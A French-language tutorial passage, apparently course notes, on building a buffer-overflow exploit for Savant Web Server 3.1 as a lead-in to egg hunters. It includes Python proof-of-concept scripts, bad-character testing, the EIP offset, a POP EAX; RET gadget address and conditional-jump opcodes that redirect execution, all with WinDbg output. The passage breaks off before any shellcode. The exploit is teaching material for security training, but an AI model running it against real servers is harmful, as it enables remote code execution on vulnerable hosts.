Skip to content

Egg Hunters

Dans certains cas d'exploitation de dépassement de tampon, seul un espace mémoire restreint n'est rendu disponible rendant difficile le stockage du payload. La technique de egghunter a pour objectif d'identifier des zones propices au stockage du payload.

Théorie

Dans le cas où l'espace du payload est limité, il existe deux options :

  • Utiliser un shellcode plus petit avec moins de fonctionnalité
  • Trouver un buffer additionnel dans une autre région de la mémoire avant le crash et de rediriger le flot d'exécution vers ce buffer

Si on arrive à stocker un buffer plus large ailleurs on peut utiliser le premier buffer pour écrire un shellcode de type first-stage. L'objectif de ce shellcode sera de rediriger le flot d'exécution vers le deuxième buffer ou on aura assez de place pour stocker un payload plus large.

Quand on doit trouver l'adresse mémoire d'un autre buffer sous notre contrôle dont l'adresse n'est pas statique on utilise des egghunter.

  • Un egghunter est un payload first-stage qui permet de chercher le Virtual Address Space (VAS) du processus à la recherche d'un egg
  • Un egg est un tag unique qui précède le payload qu'on veut exécuter
  • Une fois le egg trouvé le egghunter transfert l'exécution vers le shellcode final en faisant un jump vers l'adresse trouvée

Les egghunter sont écrits dans le cas de problème de restriction mémoire et sont donc aussi petits que possible :

  • Ils doivent aussi être rapides à s'exécuter et à trouver le egg pour éviter de hang l'application trop longtemps
  • Ces payloads doivent aussi gérer les access violations déclenchés lors de l'accès à de la mémoire non mappée ou d'adresse à laquelle on a pas accès

Pratique

L'exemple utilisé sera l'exploit portant sur l'application `Savant Web Server 3.1.

Valider l'exploit

Preuve de concept en Python :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * size
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

  print("Sending buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()

  print("Done!")

except socket.error:
  print("Could not connect!")

Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :

0:009> g
(1618.dbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=017d5778 ecx=f1d59770 edx=00000000 esi=017d5778 edi=0041703c
eip=41414141 esp=045fea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???

À première vue c'est un dépassement de tampon classique avec contrôle sur EIP. Après analyse ce n'est pas le cas :

  • Dans les dépassements de tampon classique, le registre ESP pointe sur notre buffer qui va stocker notre shellcode
  • Le buffer réécrirait EIP avec JMP ESP qui redirigerait le flot d'exécution

Si on analyse le contenu de ESP on se rend compte qu'il ne contient que trois bytes de notre shellcode :

0:002> dds @esp L5
045fea2c  00414141 Savant+0x14141           # Seulement 3x `41`
045fea30  045fea84
045fea34  0041703c Savant+0x1703c

Notre buffer est traité comme un string en mémoire et fini donc par 00 :

0:004> dds @esp L2
0470ea2c  00414141 Savant+0x14141
0470ea30  0470ea84

Identifier les mauvais caractères

On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible :

#!/usr/bin/python                                                                                                           
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  badchars = (
    b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
    b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
    b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
    b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
    b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
    b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
    b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
    b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
    b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
    b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
    b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
    b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
    b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
    b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
    b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
    b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
    b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
    b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

  httpMethod = b"GET /"
  inputBuffer = badchars
  inputBuffer += b"\x41" * (size - len(inputBuffer))
  httpEndRequest = b"\r\n\r\n"

Si on lance tel quel le programme ne crash pas, indiquant la présence d'un mauvais caractère. On commente la première moitié des caractères pour identifier où se trouve le caractère problématique.

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  badchars = (
#    b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
#    b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
#    b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
#    b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
#    b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
#    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
#    b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
#    b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
#    b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
#    b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
    b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"             # 2em moitie
    b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
    b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
    b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
    b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
    b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
    b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
    b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
    b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

  httpMethod = b"GET /"
  inputBuffer = badchars
  inputBuffer += b"\x41" * (size - len(inputBuffer))
  httpEndRequest = b"\r\n\r\n"

On relance l'exploit et on a bien un dépassement. Il n'y a donc aucun mauvais caractère dans cette deuxième moitié :

# Affichage de ESP
0:004> db esp
0466ea2c  41 41 41 00 84 ea 66 04-3c 70 41 00 78 57 9e 01  AAA...f.<pA.xW..
[...]
0466ea7c  00 00 00 00 02 00 00 00-47 45 54 00 00 00 00 00  ........GET.....
0466ea8c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0466ea9c  2f 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90  /...............             # Début des caractères
#
# Affichage des caractères complets jusqu'au 1er 'A'
0:004> db 0466ea9c
0466ea9c  2f 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90  /...............
0466eaac  91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0  ................
0466eabc  a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0  ................
0466eacc  b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0  ................
0466eadc  c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0  ................
0466eaec  d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0  ................
0466eafc  e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0  ................
0466eb0c  f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 41  ...............A

On continue en décommandant ligne par ligne. On dé-commente donc b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"

#
(144.db8): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01b15778 ecx=3d909e99 edx=00000000 esi=01b15778 edi=0041703c
eip=41414141 esp=0469ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???
#
0:004> db esp
0469ea2c  41 41 41 00 84 ea 69 04-3c 70 41 00 78 57 b1 01  AAA...i.<pA.xW..
[...]
0469ea7c  00 00 00 00 02 00 00 00-47 45 54 00 00 00 00 00  ........GET.....
0469ea8c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0469ea9c  2f 75 76 77 78 79 7a 7b-7c 7d 7e 7f 80 81 82 83  /uvwxyz{|}~..... # Commence ici

On a encore tous les caractères, on continue ligne par ligne en remontant vers le haut.

Quand on arrive a la ligne b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26" l'overflow est différent. EIP n'est pas réécrit.

(10e4.bc8): Access violation - code c0000005 (first chance)
[...]
eax=045a0041 ebx=001a5778 ecx=00000001 edx=00020b40 esi=001a5778 edi=0041703c
eip=0040c05f esp=045ae6b8 ebp=045aea24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
Savant+0xc05f:
0040c05f 8b08            mov     ecx,dword ptr [eax]  ds:0023:045a0041=????????

Il y a donc un mauvais caractère dans cette ligne :

  • Si on enlève \x26 on a un dépassement de tampon, mais qui ne réécrit pas EIP, indiquant que le mauvais caractère est toujours la
  • Si on élève \x25 on a un dépassement de tampon qui réécrit le EIP
  • C'est donc un mauvais caractère

On continue jusqu'à remonter à la première ligne. Les mauvais caractères identifient sont : 0x00 - 0x0D - 0x0A - 0x25

Déterminer l'offset exact

Une fois de plus, on veut identifier l'offset exact qui réécrit EIP. On génère un pattern unique :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ msf-pattern_create -l 260 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai

On met a jour la preuve d'exploitation :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

L'exécution de la preuve de concept entraine un dépassement de tampon, mais EIP n'est pas réécrit par un pattern unique :

(1210.132c): Access violation - code c0000005 (first chance)
[...]
eax=00694135 ebx=01935778 ecx=de4eadbe edx=00000001 esi=01935778 edi=0041703c
eip=0040c05f esp=045ee6b8 ebp=045eea24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
Savant+0xc05f:
0040c05f 8b08            mov     ecx,dword ptr [eax]  ds:0023:00694135=????????
┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ msf-pattern_offset -l 260 -q 0040c05f 
[*] No exact matches, looking for likely candidates...

On opte donc pour l'identification manuelle de l'offset à travers de la dichotomie.

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * 130
  inputBuffer += b"\x42" * 130
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

Le registre EIP est à 42424242. Indiquant que le dépassement de tampon est donc dans la deuxième moitié.

On continus dans la dichotomie :

  • On augmente de la moitié de 130 le nombre de A
  • On diminue de moitié le nombre de B
  httpMethod = b"GET /"
  inputBuffer = b"\x41" * 195
  inputBuffer += b"\x42" * 65

Le dépassement se situe toujours dans la deuxième partie :

(e04.12d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=018c5778 ecx=0bc8af86 edx=00000000 esi=018c5778 edi=0041703c
eip=42424242 esp=045cea2c ebp=42424242 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???

On continue de cette manière jusqu'à arriver à la configuration suivante :

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * 253
  inputBuffer += b"\x42\x42\x42\x42"
(168c.16c4): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01995778 ecx=58fe6b05 edx=00000000 esi=01995778 edi=0041703c
eip=42424242 esp=0461ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???

253 est donc l'offset exact pour réécrire EIP.

Réécriture partielle de EIP

On identifie que le seul module charge contient un null byte au sein de son adresse de début. Les null byte sont des mauvais caractères, surtout dans notre cas ou le buffer est traite comme un string. Les null byte entraine la fin du string.

0:004> .load narly
#
0:004> !nmod
00400000 00452000 Savant               /SafeSEH OFF                C:\Savant\Savant.exe

Aucun autre module n'est disponible en dehors de l'exécutable principal. Cependant cet exécutable contient des null bytes dans son adresse.

Note : Choisir un module Microsoft impliquerait que l'adresse change à chaque version de Windows et il faudrait travailler à contourner les protections mises en place dans les binaires de Microsoft

On se souvient que notre buffer est traité comme un string en mémoire et qu'il finit donc par 00 pour terminer le string. On confirme le comportement en relançant l'exploit :

0:009> g
(1638.166c): Access violation - code c0000005 (first chance)
[...]
eax=ffffffff ebx=01835778 ecx=743857dc edx=00000000 esi=01835778 edi=0041703c
eip=42424242 esp=0456ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???
#
0:004> dds @esp L4
0456ea2c  00434343 Savant+0x34343
0456ea30  0456ea84

Le buffer est bien terminé par un caractère null, permettant d'utiliser la technique réécriture partielle de EIP ou partial EIP overwrite.

Comme l'exécutable de Savant.exe est mappe dans une gamme d'adresse qui commence avec un null byte on pourrait utiliser le string null de fin de chaine comme faisant partie de notre réécriture de EIP. Ceci nous permettra de rediriger le flot d'exécution vers n'importe quelle instruction dans le module Savant.exe.

Un effet de bord de la réécriture partiel de EIP est que l'on ne peut stocker aucune autre data après l'adresse de retour, car le null byte va terminer le string.

On avait remarqué que le deuxième DWORD sur la pile au moment du crash pointe très proche du pointeur de pile (ESP). Il pointe toujours sur la méthode HTTP et les données qui suivent :

0:004> dds @esp L2
0470ea2c  00414141 Savant+0x14141
0470ea30  0470ea84                                                          # DEUXIEME DWORD
#
0:004> dc poi(esp+4)
0470ea84  00544547 00000000 00000000 00000000  GET.............             # METHODE HTTP
0470ea94  00000000 00000000 4141412f 41414141  ......../AAAAAAA
0470eaa4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

Il faut donc trouver une séquence d'instruction qui nous permettrait de rediriger le flot d'exécution vers cette ce deuxième DWORD. On peut utiliser POP R32; RET :

  • POP R32 va enlever le premier DWORD de la pile ce qui va entrainer ESP a pointer vers l'adresse mémoire qui contient notre buffer qui commence avec la méthode HTTP GET
    • R32 fait référence à un registre arbitraire de 32b
  • RET devrait être placé au début de la méthode HTTP

Cela voudrait dire qu'il faudrait exécuter les instructions assembleur générées par les opcodes de la méthode GET. La méthode GET a généré les opcodes et les instructions ASM suivants :

0:004> u poi(@esp+0x04)
0460ea84 47              inc     edi
0460ea85 45              inc     ebp
0460ea86 54              push    esp
0460ea87 0000            add     byte ptr [eax],al
0460ea89 0000            add     byte ptr [eax],al
0460ea8b 0000            add     byte ptr [eax],al
0460ea8d 0000            add     byte ptr [eax],al
0460ea8f 0000            add     byte ptr [eax],al
  • Les instructions suivantes ne sont pas impactantes pour notre flot et n'entrainent pas de violation d'accès

    • inc edi - inc ebp et push esp
    • Elles résultent des opcodes 544547
  • La dernière instruction add byte ptr [eax],al est une addition qui vise a ajouter la valeur du registre al a la valeur sur laquelle EAX pointe

    • Peut être problématique, car assume que l'adresse sur laquelle EAX pointe est une adresse mémoire valide
    • Généré par l'opcode 00

Les instructions POP R32;RET vont rediriger le flot d'exécution vers notre buffer. L'instruction POP de la séquence nous permettrait de placer le DWORD sur lequel pointe ESP dans le registre de notre choix. Si on peut trouver une instruction tel que POP EAX;RET on va pouvoir garantir que EAX pointe vers une adresse existante et valide.

Le premier DWORD dans la pile pointe vers un espace mémoire faisant partie de la pile et donc un espace mémoire valide :

0:004> dds @esp L5
0460ea2c  0460fe70
0460ea30  0460ea84
#
0:004> !teb
TEB at 00244000
    ExceptionList:        0460ff70
    StackBase:            04610000
    StackLimit:           0460c000
[...]

Génération des opcodes de l'instruction POP EAX;RET :

$ msf-nasm_shell
nasm > pop eax
00000000  58                pop eax
nasm > ret
00000000  C3   

On cherche ces opcodes dans le module Savant.exe

0:004> lm m Savant
Browse full module list
start    end        module name
00400000 00452000   Savant   C (no symbols)           
0:004> s -[1]b 00400000 00452000 58 c3
0x00418674
[...]
0:004> u 0x00418674 L4
Savant+0x18674:
00418674 58              pop     eax
00418675 c3              ret
[...]

On modifie la preuve de concept pour positionner l'adresse 0x00418674 dans le registre EIP

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * 253
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP

On exécute la nouvelle preuve de concept :

  • Le point d'arrêt est atteint
  • Le registre EIP est bien initialise a 00418674 sur POP EAX
  • On avance d'une instruction pour arriver sur RET
  • On avance d'une instruction pour arriver sur INC EDI qui est le début des opcodes génères par la méthode HTTP GET

En faisant le POP EAX;RET on a bien réussis a retirer le premier DWORD de ESP et a exécuté le deuxième qui pointe sur le shellcode. On retrouve les instructions assembleur découlant des opcodes de la fonction GET. On observe que EAX change de valeur après le POP EAX :

Breakpoint 0 hit
eax=00000000
[...]
Savant+0x18674:
00418674 58              pop     eax
#
0:004> t
eax=045bfe70
[...]
Savant+0x18675:
00418675 c3              ret
#
0:004> t
[...]
045bea84 47              inc     edi
#
0:004> u @eip
045bea84 47              inc     edi
045bea85 45              inc     ebp
045bea86 54              push    esp
045bea87 0000            add     byte ptr [eax],al
[...]
0:004> dc @eip
045bea84  00544547 00000000 00000000 00000000  GET.............
045bea94  00000000 00000000 4141412f 41414141  ......../AAAAAAA
045beaa4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
[...]

En faisant POP EAX on s'est assuré que le premier DWORD de ESP soit dans EAX et comme il pointe sur une adresse de la pile EAX ne contiendra pas d'adresse entrainant une violation d'accès. Les instructions découlant de la commande GET peuvent donc s'exécuter sans effet de bord.

Cette méthode fonctionnerait, mais exécuter les opcodes découlant de la fonction HTTP n'est pas très propre. Il existe d'autres options plus élégantes.

Modification de la méthode HTTP

On souhaite trouver un moyen plus subtil que d'exécuter les opcodes découlant de la fonction HTTP, même si ceux-ci sont maintenant fonctionnels. On veut trouver un moyen plus élégant d'atteindre notre buffer de 0x41 :

0:012> bp 0x00418674
#
0:012> g
00418674 58              pop     eax
#
0:005> t
00418675 c3              ret
#
0:005> dc poi(@esp)
046eea84  00544547 00000000 00000000 00000000  GET.............
046eea94  00000000 00000000 4141412f 41414141  ......../AAAAAAA
046eeaa4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
[...]

On observe qu'il y a un padding important entre GET et le reste du buffer. On peut supposer que : - Le buffer utilise pour stocker la méthode HTTP semble avoir été alloué avec une taille fixe - La taille de la méthode en elle-même ne semble pas être prise en compte ni vérifiée * Si elle n'est pas vérifiée, on peut essayer de la remplacer avec des opcodes d'instructions ASM qui permettraient d'atteindre nos 0x41

Mise à jour de la preuve de concept :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /"
  inputBuffer = b"\x41" * 253
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP
  httpEndRequest = b"\r\n\r\n"

Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET :

0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
eax=00000000
[...]
00418674 58              pop     eax
#
0:004> t
eax=0464fe70
[...]
00418675 c3              ret
#
0:004> dc poi(@esp)
0464ea84  43434343 43434343 00000000 00000000  CCCCCCCC........
0464ea94  00000000 00000000 4141412f 41414141  ......../AAAAAAA
0464eaa4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
[...]

On est donc capable de modifier la méthode HTTP sans impacter le crash en lui-même. La méthode est bien remplacée par nos 0x43 qui correspondent a des C.

On pourrait utiliser un short jump. Jump de 0x17 bytes devrait permettre d'arriver dans le buffer. On remplace donc la méthode HTTP par les opcodes correspondant à un short jump de 0x17.

Mise à jour de la preuve de concept :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\xeb\x17\x90\x90" + b" /" # Short jump de 0x17
  inputBuffer = b"\x41" * size
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET -> EIP
  httpEndRequest = b"\r\n\r\n"

Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET :

0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
00418674 58              pop     eax
#
0:004> t
eax=00000000
00418674 58              pop     eax
#
0:004> t
eax=0467fe70
00418675 c3              ret
#
0:004> t
eax=0467fe70
0467ea84 cb              retf
#
0:004> db @eip L2
0467ea84  cb 17
#
0:004> u @eip
0467ea84 cb              retf                                           # ERREUR À CET ENDROIT
0467ea85 17              pop     ss
0467ea86 90              nop
0467ea87 90              nop
0467ea88 0000            add     byte ptr [eax],al
[...]

La mémoire ne semble pas contenir les bons caractères. Passage de eb17 à cb17. Pourtant ce caractère n'apparaissait pas dans les mauvais caractères testés précédemment.

Cet espace mémoire est potentiellement alloué séparément de l'allocation du reste du buffer. Il est possible que des opérations différentes soient faites et entrainent cet effet de bord.

Ceci est un bon exemple démontrant que différentes allocations mémoires peuvent avoir de mauvais caractères différents. Il faut trouver une alternative au short jump avec le même résultat.

Sauts conditionnels

Les sauts conditionnels ou conditional jumps sont une alternative au short jump. Ils exécutent un saut en fonction de conditions. Ils fonctionnent en deux étapes :

  • Test de la condition
  • Saut si la condition est vraie ou continue l'exécution si la condition est fausse

Il en existe en grand nombre, chacun dépendant de registre FLAG spécifique.

On choisit d'utiliser l'instruction JE. La condition de ce saut est basée sur la valeur du registre ZF (Zero Flag). Le saut se fait uniquement si la valeur de ZF est à 1 (TRUE).

The Zero Flag register is a single bit flag that is used on most architectures. On x86/x64, it is stored in a dedicated register called ZF. This flag is used to check the result of arithmetic operations. It is set to 1 (TRUE) if the result of an arithmetic operation is zero and otherwise set to 0 (FALSE).

Il faut donc garantir que ZF soit a 1 pour assurer la réalisation du saut. Peut être fait en 2 étapes :

  • Appliquer une opération XOR sur ECX en tant que destination et source (premiere et deuxieme operande)
    • Ceci aura pour effet de mettre ECX a 0
  • Utiliser l'instruction TEST avec ECX dans les deux opérandes
    • Ce qui va positionner ZF a 1

The XOR instruction does a bitwise operation. The resultant bit is set to 1 only if the bit from the other operand is different. Using the XOR bitwise operation with the same destination and source will always result in 0. This is a common way to null a register. We chose to use the ECX register for our XOR operation, using other registers will produce the same result.

The TEST performs a bit-wise logical AND operation and sets the ZF (amongst others) according to the result. The AND operation sets each bit to 1 if both corresponding bits of the operands are 1, otherwise, it is set to 0.

Génération des opcodes correspondants :

$ msf-nasm_shell
nasm > xor ecx, ecx
00000000  31C9              xor ecx,ecx
nasm > test ecx, ecx
00000000  85C9              test ecx,ecx
nasm > je 0x17
00000000  0F8411000000      jz near 0x17              # JE et JZ sont interchangeable

Pas de mauvais caractère dans les opcodes génères par ces instructions, sauf le je qui contient des null bytes. Pas problématique, car l'espace mémoire est mis à 000000 avant que la méthode HTTP soit copiée dedans. En témoigne 0464ea84 43434343 43434343 00000000 00000000 CCCCCCCC......... On peut donc ignorer les 000000 génères par l'instruction je et utiliser ceux déjà présents en mémoire.

Mise à jour de la preuve de concept :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17
  inputBuffer = b"\x41" * size
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

  print("Sending buffer...")

Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET :

0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
eax=00000000
00418674 58              pop     eax
#
0:004> t
eax=022ffe70
00418675 c3              ret
#
0:004> u poi(@esp) L3
022fea84 31c9            xor     ecx,ecx
022fea86 85c9            test    ecx,ecx
022fea88 0f8411000000    je      022fea9f
  • On affiche le registre ZF juste apres le XOR et le TEST
    • Le registre est bien a 1
  • On execute l'instruction de saut conditionnel JE
  • On voit que EIP est bien initialise a 022fea9f
    • Le flot d'execution est bien redirige suite au je
  • EIP pointe bien sur le buffer de 0x41
0:004> t
[...]
022fea84 31c9            xor     ecx,ecx
#
0:004> t
[...]
022fea86 85c9            test    ecx,ecx
#
0:004> r @zf
zf=1
#
0:004> dd 022fea9f - 4
022fea9b  41412f00 41414141 41414141 41414141
022feaab  41414141 41414141 41414141 41414141
[...]
# Le `2f00` correspond a `./`
0:004> dc 022fea9f - 4
022fea9b  41412f00 41414141 41414141 41414141  ./AAAAAAAAAAAAAA
022feaab  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
[...]
#
0:004> t
eip=022fea88
022fea88 0f8411000000    je      022fea9f                                [br=1]
#
0:004> t
eip=022fea9f
022fea9f 41              inc     ecx
#
0:004> u @eip
022fea9f 41              inc     ecx
022feaa0 41              inc     ecx
022feaa1 41              inc     ecx
[...]

Le buffer de 0x41 fait 251 bytes, ce qui est trop petit pour un shellcode de reverse shell (environ 300 bytes) et beaucoup trop petit pour un shellcode de Meterpreter.

On pourrait utiliser un plus petit shellcode ou trouver un moyen de stocker un shellcode plus grand.

Trouver de l'espace supplémentaire

L'espace du payload étant limité, il faut trouver un buffer additionnel dans une autre région de la mémoire avant le crash et de rediriger le flot d'exécution vers ce buffer. Si on arrive à stocker un buffer plus large ailleurs on peut utiliser le premier buffer pour écrire un shellcode de type stage one. L'objectif de ce shellcode sera de rediriger le flot d'exécution vers le deuxième buffer ou on aura assez de place pour stocker un payload plus large.

Pour déterminer ce qui va être stocke dans la mémoire de notre application

  • Soit faire du reverse engineering
